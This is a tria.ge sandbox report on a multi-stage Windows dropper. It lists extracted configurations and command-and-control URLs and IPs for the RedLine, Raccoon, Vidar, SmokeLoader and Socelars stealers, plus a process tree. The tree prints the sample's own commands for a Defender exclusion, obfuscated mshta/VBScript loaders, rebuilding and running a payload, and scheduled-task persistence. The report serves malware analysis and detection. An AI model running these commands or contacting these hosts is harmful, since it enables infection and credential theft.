Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
31s -
max time network
172s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
08/11/2021, 14:48
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral5
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211104
Behavioral task
behavioral6
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral7
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral9
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211014
Behavioral task
behavioral10
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211104
Behavioral task
behavioral11
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral12
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral16
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211014
Behavioral task
behavioral17
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211104
Behavioral task
behavioral18
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211104
Behavioral task
behavioral20
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
-
Size
4.6MB
-
MD5
c7f1d6db5efddf8b46441be0edfaadfd
-
SHA1
e27a2fab7ac49b1709c8d9e0183b020f1be61fc6
-
SHA256
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12
-
SHA512
856e4f8a48848b5ddc42af7c282fdbc87df641665c0a0fdb28d5af2b6ac3299d9ae3c9b9d25b145816092abd248df32c9ea4f72ea59217b50460d48fb95ecb9a
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
raccoon
2f2ad1a1aa093c5a9d17040c8efd5650a99640b5
-
url4cnc
http://telegatt.top/oh12manymarty
http://telegka.top/oh12manymarty
http://telegin.top/oh12manymarty
https://t.me/oh12manymarty
Extracted
redline
media18
91.121.67.60:2151
Extracted
redline
fucker2
135.181.129.119:4805
Extracted
smokeloader
2020
http://directorycart.com/upload/
http://tierzahnarzt.at/upload/
http://streetofcards.com/upload/
http://ycdfzd.com/upload/
http://successcoachceo.com/upload/
http://uhvu.cn/upload/
http://japanarticle.com/upload/
Extracted
vidar
47.9
937
https://mas.to/@kirpich
-
profile_id
937
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4752 4536 rundll32.exe 119 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 7 IoCs
resource yara_rule behavioral16/memory/3744-253-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral16/memory/3744-256-0x000000000041B23E-mapping.dmp family_redline behavioral16/memory/3884-266-0x0000000002FF0000-0x000000000313A000-memory.dmp family_redline behavioral16/memory/704-257-0x000000000041B23E-mapping.dmp family_redline behavioral16/memory/704-254-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral16/memory/3744-300-0x0000000005000000-0x0000000005606000-memory.dmp family_redline behavioral16/memory/704-301-0x00000000051B0000-0x00000000057B6000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
resource yara_rule behavioral16/files/0x000500000001aba9-174.dat family_socelars behavioral16/files/0x000500000001aba9-210.dat family_socelars -
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
-
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil
-
Vidar Stealer 2 IoCs
resource yara_rule behavioral16/memory/4864-486-0x00000000021A0000-0x0000000002276000-memory.dmp family_vidar behavioral16/memory/4864-490-0x0000000000400000-0x00000000004D9000-memory.dmp family_vidar -
resource yara_rule behavioral16/files/0x000400000001ab9c-125.dat aspack_v212_v242 behavioral16/files/0x000400000001ab9c-124.dat aspack_v212_v242 behavioral16/files/0x000400000001ab9d-123.dat aspack_v212_v242 behavioral16/files/0x000400000001ab9d-127.dat aspack_v212_v242 behavioral16/files/0x000400000001ab9f-128.dat aspack_v212_v242 behavioral16/files/0x000400000001ab9f-129.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 19 IoCs
pid Process 1184 setup_installer.exe 3944 setup_install.exe 1412 Tue1607c6ec89.exe 420 Tue162f02d7b75a1d.exe 2272 Tue1647cedf7bf133.exe 1488 Tue16497809b6bd.exe 1728 Tue160598ce8b05.exe 3144 Tue16937a015b8e.exe 1232 Tue1693c6e21a84f1.exe 3884 Tue16752f37c10e89.exe 2840 Tue166a21bf15ecf0.exe 3392 Tue169b8ca3fff9b96f8.exe 980 Tue161bd708d12e5.exe 3228 Tue1604aa7d34a61a5b.exe 1848 Tue1695d07d02bff8ff.exe 1752 Tue165ec2d1de4f1ae98.exe 1192 Tue16937a015b8e.tmp 1976 Tue16937a015b8e.exe 3920 Tue16937a015b8e.tmp -
Modifies Windows Firewall 1 TTPs
-
Loads dropped DLL 8 IoCs
pid Process 3944 setup_install.exe 3944 setup_install.exe 3944 setup_install.exe 3944 setup_install.exe 3944 setup_install.exe 3944 setup_install.exe 3944 setup_install.exe 3920 Tue16937a015b8e.tmp -
resource yara_rule behavioral16/files/0x000400000001abe1-307.dat themida -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 249 ipinfo.io 251 ipinfo.io 334 ipinfo.io 56 ipinfo.io 57 ipinfo.io 61 ip-api.com 66 ipinfo.io -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 5 IoCs
pid pid_target Process procid_target 3984 3944 WerFault.exe 69 4732 2840 WerFault.exe 99 5472 5352 WerFault.exe 151 4956 5368 WerFault.exe 177 6456 5160 WerFault.exe 189 -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5308 schtasks.exe 1180 schtasks.exe 6584 schtasks.exe 5672 schtasks.exe 5588 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 4108 timeout.exe 5148 timeout.exe 436 timeout.exe -
Kills process with taskkill 8 IoCs
pid Process 5284 taskkill.exe 5592 taskkill.exe 3376 taskkill.exe 7576 taskkill.exe 7880 taskkill.exe 7960 taskkill.exe 2348 taskkill.exe 4256 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe 3984 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 40 IoCs
description pid Process Token: SeDebugPrivilege 2272 Tue1647cedf7bf133.exe Token: SeCreateTokenPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeAssignPrimaryTokenPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeLockMemoryPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeIncreaseQuotaPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeMachineAccountPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeTcbPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeSecurityPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeTakeOwnershipPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeLoadDriverPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeSystemProfilePrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeSystemtimePrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeProfSingleProcessPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeIncBasePriorityPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeCreatePagefilePrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeCreatePermanentPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeBackupPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeRestorePrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeShutdownPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeDebugPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeAuditPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeSystemEnvironmentPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeChangeNotifyPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeRemoteShutdownPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeUndockPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeSyncAgentPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeEnableDelegationPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeManageVolumePrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeImpersonatePrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: SeCreateGlobalPrivilege 1752 Tue165ec2d1de4f1ae98.exe Token: 31 1752 Tue165ec2d1de4f1ae98.exe Token: 32 1752 Tue165ec2d1de4f1ae98.exe Token: 33 1752 Tue165ec2d1de4f1ae98.exe Token: 34 1752 Tue165ec2d1de4f1ae98.exe Token: 35 1752 Tue165ec2d1de4f1ae98.exe Token: SeRestorePrivilege 3984 WerFault.exe Token: SeBackupPrivilege 3984 WerFault.exe Token: SeDebugPrivilege 1728 Tue160598ce8b05.exe Token: SeDebugPrivilege 1684 powershell.exe Token: SeDebugPrivilege 3984 WerFault.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2080 wrote to memory of 1184 2080 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 68 PID 2080 wrote to memory of 1184 2080 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 68 PID 2080 wrote to memory of 1184 2080 db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe 68 PID 1184 wrote to memory of 3944 1184 setup_installer.exe 69 PID 1184 wrote to memory of 3944 1184 setup_installer.exe 69 PID 1184 wrote to memory of 3944 1184 setup_installer.exe 69 PID 3944 wrote to memory of 2824 3944 setup_install.exe 72 PID 3944 wrote to memory of 2824 3944 setup_install.exe 72 PID 3944 wrote to memory of 2824 3944 setup_install.exe 72 PID 3944 wrote to memory of 1600 3944 setup_install.exe 73 PID 3944 wrote to memory of 1600 3944 setup_install.exe 73 PID 3944 wrote to memory of 1600 3944 setup_install.exe 73 PID 3944 wrote to memory of 3528 3944 setup_install.exe 74 PID 3944 wrote to memory of 3528 3944 setup_install.exe 74 PID 3944 wrote to memory of 3528 3944 setup_install.exe 74 PID 3944 wrote to memory of 676 3944 setup_install.exe 75 PID 3944 wrote to memory of 676 3944 setup_install.exe 75 PID 3944 wrote to memory of 676 3944 setup_install.exe 75 PID 3944 wrote to memory of 1176 3944 setup_install.exe 76 PID 3944 wrote to memory of 1176 3944 setup_install.exe 76 PID 3944 wrote to memory of 1176 3944 setup_install.exe 76 PID 3944 wrote to memory of 1036 3944 setup_install.exe 77 PID 3944 wrote to memory of 1036 3944 setup_install.exe 77 PID 3944 wrote to memory of 1036 3944 setup_install.exe 77 PID 3944 wrote to memory of 1960 3944 setup_install.exe 110 PID 3944 wrote to memory of 1960 3944 setup_install.exe 110 PID 3944 wrote to memory of 1960 3944 setup_install.exe 110 PID 3944 wrote to memory of 2500 3944 setup_install.exe 78 PID 3944 wrote to memory of 2500 3944 setup_install.exe 78 PID 3944 wrote to memory of 2500 3944 setup_install.exe 78 PID 1600 wrote to memory of 1412 1600 cmd.exe 109 PID 1600 wrote to memory of 1412 1600 cmd.exe 109 PID 1600 wrote to memory of 1412 1600 cmd.exe 109 PID 2824 wrote to memory of 1684 2824 cmd.exe 79 PID 2824 wrote to memory of 1684 2824 cmd.exe 79 PID 2824 wrote to memory of 1684 2824 cmd.exe 79 PID 3944 wrote to memory of 4000 3944 setup_install.exe 108 PID 3944 wrote to memory of 4000 3944 setup_install.exe 108 PID 3944 wrote to memory of 4000 3944 setup_install.exe 108 PID 3944 wrote to memory of 820 3944 setup_install.exe 84 PID 3944 wrote to memory of 820 3944 setup_install.exe 84 PID 3944 wrote to memory of 820 3944 setup_install.exe 84 PID 3944 wrote to memory of 1216 3944 setup_install.exe 83 PID 3944 wrote to memory of 1216 3944 setup_install.exe 83 PID 3944 wrote to memory of 1216 3944 setup_install.exe 83 PID 3944 wrote to memory of 2364 3944 setup_install.exe 82 PID 3944 wrote to memory of 2364 3944 setup_install.exe 82 PID 3944 wrote to memory of 2364 3944 setup_install.exe 82 PID 3944 wrote to memory of 2056 3944 setup_install.exe 80 PID 3944 wrote to memory of 2056 3944 setup_install.exe 80 PID 3944 wrote to memory of 2056 3944 setup_install.exe 80 PID 3944 wrote to memory of 2472 3944 setup_install.exe 81 PID 3944 wrote to memory of 2472 3944 setup_install.exe 81 PID 3944 wrote to memory of 2472 3944 setup_install.exe 81 PID 3944 wrote to memory of 1352 3944 setup_install.exe 107 PID 3944 wrote to memory of 1352 3944 setup_install.exe 107 PID 3944 wrote to memory of 1352 3944 setup_install.exe 107 PID 1176 wrote to memory of 420 1176 cmd.exe 106 PID 1176 wrote to memory of 420 1176 cmd.exe 106 PID 1176 wrote to memory of 420 1176 cmd.exe 106 PID 4000 wrote to memory of 2272 4000 cmd.exe 105 PID 4000 wrote to memory of 2272 4000 cmd.exe 105 PID 676 wrote to memory of 1488 676 cmd.exe 85 PID 676 wrote to memory of 1488 676 cmd.exe 85
Processes
-
C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"C:\Users\Admin\AppData\Local\Temp\db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3944 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1684
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1607c6ec89.exe4⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue1607c6ec89.exeTue1607c6ec89.exe5⤵
- Executes dropped EXE
PID:1412
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue160598ce8b05.exe4⤵PID:3528
-
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue160598ce8b05.exeTue160598ce8b05.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1728 -
C:\Users\Admin\AppData\Roaming\7129848.exe"C:\Users\Admin\AppData\Roaming\7129848.exe"6⤵PID:4396
-
-
C:\Users\Admin\AppData\Roaming\4375421.exe"C:\Users\Admin\AppData\Roaming\4375421.exe"6⤵PID:4616
-
-
C:\Users\Admin\AppData\Roaming\4316755.exe"C:\Users\Admin\AppData\Roaming\4316755.exe"6⤵PID:4704
-
-
C:\Users\Admin\AppData\Roaming\4915376.exe"C:\Users\Admin\AppData\Roaming\4915376.exe"6⤵PID:4868
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"7⤵PID:4412
-
-
-
C:\Users\Admin\AppData\Roaming\7797196.exe"C:\Users\Admin\AppData\Roaming\7797196.exe"6⤵PID:4836
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\7797196.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\7797196.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))7⤵PID:4356
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\7797196.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\7797196.exe" ) do taskkill -f -Im "%~NXZ"8⤵PID:920
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i9⤵PID:5408
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))10⤵PID:5684
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"11⤵PID:5936
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )10⤵PID:7032
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *11⤵PID:6720
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵PID:6640
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"12⤵PID:5316
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K12⤵PID:7376
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K13⤵PID:5528
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "7797196.exe"9⤵
- Kills process with taskkill
PID:5592
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\5640685.exe"C:\Users\Admin\AppData\Roaming\5640685.exe"6⤵PID:4968
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue16497809b6bd.exe4⤵
- Suspicious use of WriteProcessMemory
PID:676 -
C:\Users\Admin\AppData\Local\Temp\7zS0A4EC006\Tue16497809b6bd.exeTue16497809b6bd.exe5⤵
- Executes dropped EXE
PID:1488 -
C:\Users\Admin\Pictures\Adobe Films\jGFPVLOnImpBuZRPuZ3dIM7E.exe"C:\Users\Admin\Pictures\Adobe Films\jGFPVLOnImpBuZRPuZ3dIM7E.exe"6⤵PID:64
-
-
C:\Users\Admin\Pictures\Adobe Films\XWm0oltoTPHME5Qq7BPZwxzp.exe"C:\Users\Admin\Pictures\Adobe Films\XWm0oltoTPHME5Qq7BPZwxzp.exe"6⤵PID:5352
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5352 -s 4007⤵
- Program crash
PID:5472
-
-
-
C:\Users\Admin\Pictures\Adobe Films\63ZFS4fRIMvcWFVEKqTHY3xJ.exe"C:\Users\Admin\Pictures\Adobe Films\63ZFS4fRIMvcWFVEKqTHY3xJ.exe"6⤵PID:5396
-
-
C:\Users\Admin\Pictures\Adobe Films\hyTlPCOSkuckwJcnI4Vm8myS.exe"C:\Users\Admin\Pictures\Adobe Films\hyTlPCOSkuckwJcnI4Vm8myS.exe"6⤵PID:5600
-
-
C:\Users\Admin\Pictures\Adobe Films\ezwvSfLDRrzN9RNg3HEQFyHp.exe"C:\Users\Admin\Pictures\Adobe Films\ezwvSfLDRrzN9RNg3HEQFyHp.exe"6⤵PID:5632
-
-
C:\Users\Admin\Pictures\Adobe Films\Kel_7Jt_XhRkcxEIxGer3YV3.exe"C:\Users\Admin\Pictures\Adobe Films\Kel_7Jt_XhRkcxEIxGer3YV3.exe"6⤵PID:5712
-
C:\Users\Admin\Documents\CjLaslzGruUCQLYhVBYTl0Gn.exe"C:\Users\Admin\Documents\CjLaslzGruUCQLYhVBYTl0Gn.exe"7⤵PID:5080
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:6584
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:5672
-
-
-
C:\Users\Admin\Pictures\Adobe Films\jR0MHl8T1cX808rtWDmR3Ohz.exe"C:\Users\Admin\Pictures\Adobe Films\jR0MHl8T1cX808rtWDmR3Ohz.exe"6⤵PID:5784
-
-
C:\Users\Admin\Pictures\Adobe Films\pbp578dFQtZ29o3FFEniHvLP.exe"C:\Users\Admin\Pictures\Adobe Films\pbp578dFQtZ29o3FFEniHvLP.exe"6⤵PID:5832
-
-
C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe"C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe"6⤵PID:5776
-
C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe"C:\Users\Admin\Pictures\Adobe Films\8Sflrme2KR0LD1aVKmZ71Krb.exe"7⤵PID:5912
-
-
-
C:\Users\Admin\Pictures\Adobe Films\TYxrifBL3e8yYV6pNaoVPBLn.exe"C:\Users\Admin\Pictures\Adobe Films\TYxrifBL3e8yYV6pNaoVPBLn.exe"6⤵PID:5944
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:5432
-
-
-
C:\Users\Admin\Pictures\Adobe Films\uBmgNLHyuJHZbolmMHZAqaGl.exe"C:\Users\Admin\Pictures\Adobe Films\uBmgNLHyuJHZbolmMHZAqaGl.exe"6⤵PID:5992
-
-
C:\Users\Admin\Pictures\Adobe Films\5o8ceyIwE2aJ4j4u85az3AnC.exe"C:\Users\Admin\Pictures\Adobe Films\5o8ceyIwE2aJ4j4u85az3AnC.exe"6⤵PID:6020
-
-
C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe"C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe"6⤵PID:6044
-
C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe"C:\Users\Admin\Pictures\Adobe Films\1lb5cX9Q8UdJnk5_9Z6ueToz.exe"7⤵PID:6420
-
-
-
C:\Users\Admin\Pictures\Adobe Films\q2USX_tUTtMXBoTjrLlgXAku.exe"C:\Users\Admin\Pictures\Adobe Films\q2USX_tUTtMXBoTjrLlgXAku.exe"6⤵PID:6132
-
-
C:\Users\Admin\Pictures\Adobe Films\wXxhfquqy2fYzhdeU9VLAPOJ.exe"C:\Users\Admin\Pictures\Adobe Films\wXxhfquqy2fYzhdeU9VLAPOJ.exe"6⤵PID:5180
-
